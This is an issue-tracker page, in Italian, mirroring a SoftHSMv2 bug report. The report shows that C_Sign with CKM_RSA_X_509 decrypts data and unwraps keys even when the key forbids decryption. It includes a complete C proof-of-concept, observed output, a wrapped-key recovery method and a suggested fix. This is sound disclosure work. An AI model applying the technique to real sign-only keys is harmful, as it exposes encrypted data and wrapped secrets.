C_Sign(CKM_RSA_X_509) decrypts and unwraps with a sign-only key

Aperta
#906 0 commenti 0 reazioni 0 assegnatari Vedi su GitHub

Nessuno ha ancora preso questa issue.

Valutazione

Difficoltà
2/5
Tempo stimato
1-3 ore
Idoneità per principianti
57/100
Tipo di issue
Bug
Chiarezza
Specificata chiaramente
Stato di attività
Ferma
Stack tecnologico
c, cpp
Ambito
backend, security

Direzione di ricerca

Start in src/lib/SoftHSM.cpp at AsymSignInit, which the issue identifies as checking only CKA_SIGN for CKM_RSA_X_509; then inspect the raw RSA branch in src/lib/crypto/OSSLRSA.cpp. Reproduce the reported behavior and verify that a sign-only key gets CKR_KEY_FUNCTION_NOT_PERMITTED for CKM_RSA_X_509, while hash-and-sign mechanisms remain unaffected.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Descrizione

Component: SoftHSMv2 PKCS#11 module
Seen on: 2.6.1 and current develop (f59e8f4)
Severity: Medium. High only if this library is the usage-policy gate in front of a KMS and Sign is granted more widely than Decrypt.

Revalidated: both programs below exit 1.

Summary

CKA_DECRYPT=false and CKA_UNWRAP=false do not stop raw RSA decryption. C_Sign(CKM_RSA_X_509) is RSA_NO_PADDING private exponentiation, the same operation as decrypt.

A private key created as sign-only still works:

Attribute Value
CKA_SIGN true
CKA_DECRYPT false
CKA_UNWRAP false
CKA_MODIFIABLE false
CKA_SENSITIVE true
CKA_EXTRACTABLE false
CKA_ALLOWED_MECHANISMS absent (empty default = every built-in mechanism)

C_DecryptInit and C_UnwrapKey correctly return CKR_KEY_FUNCTION_NOT_PERMITTED (0x68). C_SignInit + C_Sign(CKM_RSA_X_509) returns CKR_OK and the plaintext.

Impact

A caller who can already C_Sign on that key can also:

  1. Decrypt CKM_RSA_X_509 ciphertexts.
  2. Recover a secret from a CKM_RSA_PKCS wrap blob (strip PKCS#1 v1.5 type-2 padding from the raw RSA output).

That is extra confidentiality impact, not a new authentication boundary. The caller can already forge signatures. It matters when something was encrypted or key-wrapped to that public key and CKA_DECRYPT=false / CKA_UNWRAP=false was supposed to forbid reading it.

Worst practical case: CMS/S/MIME or other RSA-PKCS key transport to a sign-only certificate, or SoftHSM used as a network/multi-tenant PKCS#11 front-end (p11-kit server, pkcs11-proxy, app-facing KMS) where Sign is a wider grant than Decrypt. A pure code-signing key that nothing encrypts to has no extra impact.

Not affected:

  • CKM_SHA256_RSA_PKCS / PSS. Those are not raw RSA.
  • ECDSA CKA_SIGN vs CKA_DERIVE: the wrong operation returns 0x68.
  • CKA_ALLOWED_MECHANISMS set at creation to hash-and-sign only: CKM_RSA_X_509 returns CKR_MECHANISM_INVALID (0x70).

libp11’s own RSA keygen sets CKA_DECRYPT=true, so that path is not sign-only. The hole is keys created with decrypt/unwrap explicitly off and no mechanism allow-list. pkcs11-tool --usage-sign is that configuration.

Cause

AsymSignInit checks only CKA_SIGN (src/lib/SoftHSM.cpp). For CKM_RSA_X_509 it selects AsymMech::RSA.

OSSLRSA::sign then does:

EVP_PKEY_sign_init(ctx);
EVP_PKEY_CTX_set_rsa_padding(ctx, RSA_NO_PADDING);
EVP_PKEY_sign(ctx, ...);

(src/lib/crypto/OSSLRSA.cpp, raw-RSA branch). That is decryption. Empty CKA_ALLOWED_MECHANISMS is treated as “allow every built-in mechanism” in isMechanismPermitted.

Repro 1 — raw decrypt

Exit 1 = bug present.

cc -O0 -g -std=c99 -D_GNU_SOURCE -ldl repro.c -o repro
./repro /usr/lib/softhsm/libsofthsm2.so
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
#include <pkcs11.h>

static CK_FUNCTION_LIST_PTR p11;
static void die(const char *m, CK_RV rv) {
    fprintf(stderr, "%s: 0x%lx\n", m, (unsigned long)rv);
    exit(2);
}

int main(int argc, char **argv) {
    const char *mod = argc > 1 ? argv[1] : "/usr/lib/softhsm/libsofthsm2.so";
    const char *work = "/tmp/softhsm-x509-sign-decrypt";
    char conf[512], td[512];
    CK_SESSION_HANDLE h = 0;
    CK_SLOT_ID slot, *slots;
    CK_ULONG ns = 0, bits = 2048, ctl, rl;
    CK_OBJECT_HANDLE pub = 0, priv = 0;
    CK_BBOOL t = CK_TRUE, f = CK_FALSE;
    CK_UTF8CHAR label[32];
    CK_BYTE pt[256], ct[256], rec[512];
    CK_RV rv, dinit, sinit, sign;
    CK_MECHANISM gen = { CKM_RSA_PKCS_KEY_PAIR_GEN, NULL, 0 };
    CK_MECHANISM x509 = { CKM_RSA_X_509, NULL, 0 };
    CK_ATTRIBUTE pubt[] = {
        { CKA_MODULUS_BITS, &bits, sizeof(bits) },
        { CKA_ENCRYPT, &t, sizeof(t) },
        { CKA_VERIFY, &t, sizeof(t) },
        { CKA_TOKEN, &f, sizeof(f) },
    };
    CK_ATTRIBUTE prt[] = {
        { CKA_SIGN, &t, sizeof(t) },
        { CKA_DECRYPT, &f, sizeof(f) },
        { CKA_UNWRAP, &f, sizeof(f) },
        { CKA_MODIFIABLE, &f, sizeof(f) },
        { CKA_SENSITIVE, &t, sizeof(t) },
        { CKA_EXTRACTABLE, &f, sizeof(f) },
        { CKA_TOKEN, &f, sizeof(f) },
        { CKA_PRIVATE, &t, sizeof(t) },
    };

    mkdir(work, 0700);
    snprintf(td, sizeof(td), "%s/tokens", work);
    mkdir(td, 0700);
    snprintf(conf, sizeof(conf), "%s/softhsm2.conf", work);
    FILE *fp = fopen(conf, "w");
    fprintf(fp, "directories.tokendir = %s\nobjectstore.backend = file\nlog.level = ERROR\n", td);
    fclose(fp);
    setenv("SOFTHSM2_CONF", conf, 1);

    void *dl = dlopen(mod, RTLD_NOW);
    CK_C_GetFunctionList getfl = dlsym(dl, "C_GetFunctionList");
    if (!getfl || getfl(&p11) != CKR_OK) die("C_GetFunctionList", 1);
    CK_C_INITIALIZE_ARGS ia;
    memset(&ia, 0, sizeof(ia));
    ia.flags = CKF_OS_LOCKING_OK;
    if ((rv = p11->C_Initialize(&ia)) != CKR_OK) die("C_Initialize", rv);
    p11->C_GetSlotList(CK_FALSE, NULL, &ns);
    slots = calloc(ns ? ns : 1, sizeof(*slots));
    p11->C_GetSlotList(CK_FALSE, slots, &ns);
    slot = slots[0];
    free(slots);
    memset(label, ' ', 32);
    memcpy(label, "x509-sep", 8);
    if ((rv = p11->C_InitToken(slot, (CK_UTF8CHAR *)"12345678", 8, label)) != CKR_OK)
        die("C_InitToken", rv);
    p11->C_OpenSession(slot, CKF_SERIAL_SESSION | CKF_RW_SESSION, NULL, NULL, &h);
    p11->C_Login(h, CKU_SO, (CK_UTF8CHAR *)"12345678", 8);
    p11->C_InitPIN(h, (CK_UTF8CHAR *)"1234", 4);
    p11->C_Logout(h);
    p11->C_CloseSession(h);
    p11->C_OpenSession(slot, CKF_SERIAL_SESSION | CKF_RW_SESSION, NULL, NULL, &h);
    p11->C_Login(h, CKU_USER, (CK_UTF8CHAR *)"1234", 4);
    if ((rv = p11->C_GenerateKeyPair(h, &gen, pubt, 4, prt, 8, &pub, &priv)) != CKR_OK)
        die("C_GenerateKeyPair", rv);

    memset(pt, 0, sizeof(pt));
    pt[0] = 0x01;
    memcpy(pt + 240, "sign-is-decrypt", 15);
    if ((rv = p11->C_EncryptInit(h, &x509, pub)) != CKR_OK) die("C_EncryptInit", rv);
    ctl = sizeof(ct);
    if ((rv = p11->C_Encrypt(h, pt, sizeof(pt), ct, &ctl)) != CKR_OK) die("C_Encrypt", rv);

    dinit = p11->C_DecryptInit(h, &x509, priv);
    sinit = p11->C_SignInit(h, &x509, priv);
    rl = sizeof(rec);
    sign = (sinit == CKR_OK) ? p11->C_Sign(h, ct, ctl, rec, &rl) : sinit;
    printf("DecryptInit=0x%lx SignInit=0x%lx Sign=0x%lx len=%lu\n",
           (unsigned long)dinit, (unsigned long)sinit, (unsigned long)sign, (unsigned long)rl);
    if (dinit == CKR_KEY_FUNCTION_NOT_PERMITTED && sign == CKR_OK &&
        rl == sizeof(pt) && memcmp(rec, pt, sizeof(pt)) == 0) {
        fprintf(stderr, "BUG PRESENT\n");
        return 1;
    }
    fprintf(stderr, "not reproduced\n");
    return 0;
}

Observed:

DecryptInit=0x68 SignInit=0x0 Sign=0x0 len=256
BUG PRESENT

Repro 2 — RSA-PKCS wrap recovered

Same key attributes. C_WrapKey(CKM_RSA_PKCS) of a 16-byte AES key under the public key returns CKR_OK. C_UnwrapKey and C_DecryptInit(CKM_RSA_PKCS) both return 0x68. C_Sign(CKM_RSA_X_509) on the 256-byte wrap blob returns CKR_OK. Stripping 00 02 ... 00 yields the AES key.

Observed: Unwrap=0x68 DecryptInit=0x68 Sign=0x0 stripped=16 match=1.

Suggested fix

In AsymSignInit, if pMechanism->mechanism == CKM_RSA_X_509 and CKA_DECRYPT is false, return CKR_KEY_FUNCTION_NOT_PERMITTED.

Hash-and-sign mechanisms do not need this. An application that truly wants raw RSA “signatures” must set CKA_DECRYPT=true, which matches the capability.

App workaround, for keys not yet created: set CKA_ALLOWED_MECHANISMS to the hash-and-sign mechanisms only. That cannot be added later on a CKA_MODIFIABLE=false key, and the default empty list does not do it.

Lingua principale
C++
Stelle
1.1k
Fork
434
Merge medio
12g 14h
PR unite (30g)
2

Preparare l'ambiente

Questo progetto non fornisce container di sviluppo, Dockerfile né guida per i contributori, quindi l'ambiente è a tuo carico: parti dal suo README e consulta la nostra guida al primo contributo per i passaggi generali.

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di softhsm/SoftHSMv2

Tutte le issue di softhsm/SoftHSMv2

Issue simili

Altre issue su C++

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.